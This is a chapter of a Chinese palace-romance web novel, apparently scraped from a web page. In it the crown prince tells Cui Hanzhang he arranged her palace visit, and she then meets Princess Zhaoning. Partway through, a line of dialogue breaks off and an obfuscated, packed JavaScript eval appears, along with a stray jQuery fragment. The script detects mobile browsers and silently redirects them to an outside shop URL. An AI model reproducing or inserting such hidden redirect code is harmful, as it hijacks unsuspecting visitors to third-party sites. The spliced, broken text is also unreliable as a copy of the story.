午后不久,一辆朱轮车驾停在崔府门前,随行不过十余人,门吏却丝毫不敢怠慢。来人正是太子李承晏,他今日未着朝服,一袭湖青长袍,束玉冠,腰金带,更显清俊脱俗。
崔彦衡接到通禀,亲自迎出来,见礼后侧身延客,一路径往书斋。
窗前花木扶疏,几卷兵书叠在案侧,一张展开的舆图平摊桌面。崔彦衡命人奉茶,李承晏落座后略一示意,随行内侍与府中仆从一同退出。
房门从外面轻轻合上,隔着窗纱偶有低语传出,廊下的奴仆垂手环伺,静悄悄地等候。过了半个时辰,门扉重新打开,李承晏当先行出,面色仍与来时一般,身后的崔彦衡神情却有了微妙的不同。
恰逢安成长公主在府中,李承晏顺势往正院问安,坐了片刻才起身告辞,崔彦衡一路相送,二人沿回廊往前院行去。
初夏的院中细柳舒卷,枝叶浓翠,日光在地面筛下碎影,葳蕤的蔷薇花满架盛放,芬芳沁人。
崔含章刚从花架后绕出,便瞧见廊下并肩而来的二人,兄长侧首说着什么,李承晏听着偶尔微微颔首,花枝绚烂,映着他清俊的侧颜,连冠上的饰纹也似分明可见。
崔含章脚步一停,正想从另一侧绕走,却已被对方瞧见。
李承晏停下步子,温和地唤了一声,“崔娘子。”
崔含章心头一跳,只得转过身来,遥遥敛衽施了一礼。
李承晏看着她,仿佛顺势想起,“过几日长公主可是要带你入宫?”
崔含章没有多想,点头道:“定在后日,母亲说皇后娘娘让臣女陪昭宁公主说说话。”
李承晏略一颔首,转向崔彦衡,“孤正好有几句话嘱咐令妹,伯钧先到前院,孤随后便来。”
崔彦衡应道:“臣在前院候殿下。”
待对方沿廊走远,李承晏示意随行的内侍留在原处,自己缓步走近,银茜认得对方身份,也退了几步,留在花架下。
崔含章立在原地,指尖无意识地揪着袖口,待他到了近前,才轻声问道:“殿下有何吩咐?”
李承晏将她的动作收入目中,眉眼一软,“皇姐这些年不常出宫,身边少有女伴,你去了,她想必会高兴。”
崔含章想起嫡母的嘱咐,迟疑了一下,终道:“可是臣女不懂,娘娘为何让臣女入宫作伴。”
李承晏不答反问,“崔娘子不愿入宫?”
崔含章被他挑破心思,微觉窘迫,却也答得坦然,“臣女从前对公主并不了解,对宫里的规矩也不大懂,难免担心言行有失,反而惹了公主不快。”
李承晏笑意微敛,不再逗她,语气也平和下来,“不必担心,皇姐为人亲和,宫外的新鲜事,出游时见过什么,都可以一说。崔娘子或许不知,皇姐从前也爱骑马,若非这些年在皇祖母榻前侍疾,前回马球会,未必肯只坐帐中旁观。”
崔含章听得意外,想起那日高台上的端静身影,实在难与策马争胜的女郎想到一处。
清风里似有一两声清脆的鸟啼,李承晏看她片刻,又提起另一事,“有件事孤也是今日才知,前日有几篇进讲的文章核对,孤留了怀瑾在东宫,不料耽搁了伯钧的邀约,倒叫孤有些过意不去。”
邀请的是兄长,被邀的是谢怀瑾,无论从哪一方看都与她无关,崔含章不觉得对方有必要向她解释,但既然开了口,她也不能不答,仅道:“谢郎君既在东宫当值,自然以东宫事务为先。”
李承晏语气平常,仿佛只是随口一问,“伯钧近来似乎常与怀瑾走动。”
他这样一问,崔含章不免又想起兄长那晚的话,面上微热,一时不知如何回答,吱唔了几句才道:“阿兄与谢郎君本就是旧友,如今阿兄回了长安,经常来往也不足为奇。”
李承晏不置可否,望着她不动声色,“崔娘子与怀瑾也常见面?”
崔含章一滞,不知话题怎么突然落在自己头上,更不明白对方怎会留意到自己与谢怀瑾碰面,面上只道:“殿下说笑了,臣女久居闺阁,怎会常与外男来往。”
李承晏也不与她分说,突兀地一问,“你觉得怀瑾如何?”
崔含章意外逢此一问,顿时怔住了,黑白分明的眸子有了些许不自在,好一阵才开口,答得十分客气,“谢郎君性情谦和,待人有礼,自然很好。”
浮云遮了日头,廊檐投下深影,李承晏的半张脸庞笼在其中,不辨神情,半晌只听他又问了一句,“那孤呢?”
这一问出人意料,崔含章错愕地抬起眼,恰好一缕风拂过,李承晏鬓边碎发轻扬,良玉般的脸庞愈发俊雅卓逸,落落如芝树,她忽然不知如何开口,依着礼数道:“殿下才德出众,臣女自然敬服。”
李承晏姿态柔和,望来的目光不曾移开,“孤问的不是这些虚辞,孤想听你的心里话。”
崔含章不知怎的心跳得极快,连忙扬起头,郑重其事道:“臣女所言绝非虚辞,字字句句皆是肺腑之言。”
李承晏唇边有了一缕笑意,话语忽又转开,“那你可知,孤是如何看你的?”
崔含章避开他若有深意的目光,眼睫垂得更低,谨慎道:“臣女性子粗疏,言语也不甚周全,想来没少让殿下见笑。”
李承晏笑意更深,摇了摇头,却没有言语。
崔含章等了一阵不闻后文,不觉抬眼一瞥,便与李承晏的目光不期而遇,他这才从容而道:“其实母后召你入宫,是孤向她提的。”
崔含章的眸中漾起讶色,脱口而出,“殿下为何要提臣女?”
李承晏凝视着她,清润的眼眸中蕴着温软的神采,“因为孤也想多见你几回。”
两日后,崔含章随安成长公主入宫,先向皇后请安。
内殿丝帘半卷,博山炉中一缕淡香宁谧,崔徽音命宫人赐座,打量着少女明净的脸庞,和善道:“上回春宴未能见到,今日总算来了,近来身子可好?”
崔含章恭敬回道:“臣女一切安好,劳娘娘挂念。”
崔徽音与李端华叙过几句,转对少女道:“昭宁今日无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944707|213776||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事,你去陪她坐坐,本宫留你母亲说会话。”
崔含章起身告退,随一旁侍立的女官转出中宫。
日色映着红墙,青石勾阑绵长,转过数道曲尺形的廊庑,来路掩在花木之外,四下渐渐安静。昭宁公主所居的宫苑花木繁茂,树下软椅斜支,数名宫人环侍,石案上早已置了玉壶香茗与各色果盘。树下的昭宁公主淡妆素服,雪肤画鬓,依旧清贵高雅。
崔含章在阶前停步,敛袖一礼。
昭宁公主含笑望来,神情温雅,双眸明澈,“母后说你今日要来,本宫还想着何时进宫,不想这就来了。”
宫人捧来水晶盏,底部垫着碎冰,上方盛满新摘的樱桃,一颗颗红馥饱满,宛如玛瑙宝石。
“本宫也不知你素日喜爱什么,只叫人拣时令的鲜果香茗备下。”昭宁公主拉着她言语亲热,“这里无须多礼,坐近些就是。”
崔含章上次在马球会上匆匆一瞥,只觉公主端凝高贵,不想为人如此和善,原本紧张的心神顿时松懈,又向公主谢过赐赏,“公主盛情,臣女受宠若惊,上次的球杖臣女未及谢恩,今日特此谢过公主。”
昭宁公主不以为意,“一柄球杖罢了,原就是添个彩头,你可曾试过,还合手么?”
崔含章颔首致谢,“试过了,柄上带了浅棱,入手极稳,挥起来也不费力。”
说着眼底有了笑意,“杖上的错银极好看,母亲说臣女日日拿着,只怕不久就要磨花了。”
昭宁公主一派无谓,“既是球杖,自然要拿来打球,磨花了又有什么要紧。”
公主语气亲和,所言与崔含章不谋而合,少女不觉动容,话语也比方才自在,气氛随之松惬。
“本宫还记得,从前崔将军但凡见到精巧之物,总会想着带给妹妹,旁人想要他都舍不得。”昭宁公主说起旧事,语气熟稔,唇边含笑,“那时本宫就常听他提起你,知道他很疼你这个妹妹。”
崔含章瞧见公主说话时的神态,不知怎的,脑中浮现的却是另一幅画面,纷繁浓密的花影下,一个烟紫色纤影,在视线中一闪而过。
一瞬间的神思不属令崔含章生出好奇,柔柔地接口,“听说殿下以前也常打马球,臣女那日却未见到。”
说起旧事,昭宁公主神色如常,微微颔首,“早年常玩,如今许久未练,马上功夫也生疏了。”
崔含章心念一动,问了一句,“殿下可曾与阿兄打过球?”
这一问原带了几分试探,不想昭宁公主并未在意,轻描淡写道:“打过几回,不过仗着马好,崔将军又肯相让,侥幸赢过几次。”
崔含章却笑了,“殿下未免太谦,阿兄那样好胜的性子,臣女可不信他会相让。”
昭宁公主稍怔一瞬,随即展颜一笑,“他倒确实有过不肯相让的时候。”
叙过一阵,苑内起了风,拂在面上幽幽凉凉,昭宁公主起身道:“今日天气不错,陪本宫出去走走吧。”
崔含章自是奉命相陪,一行人出了花苑。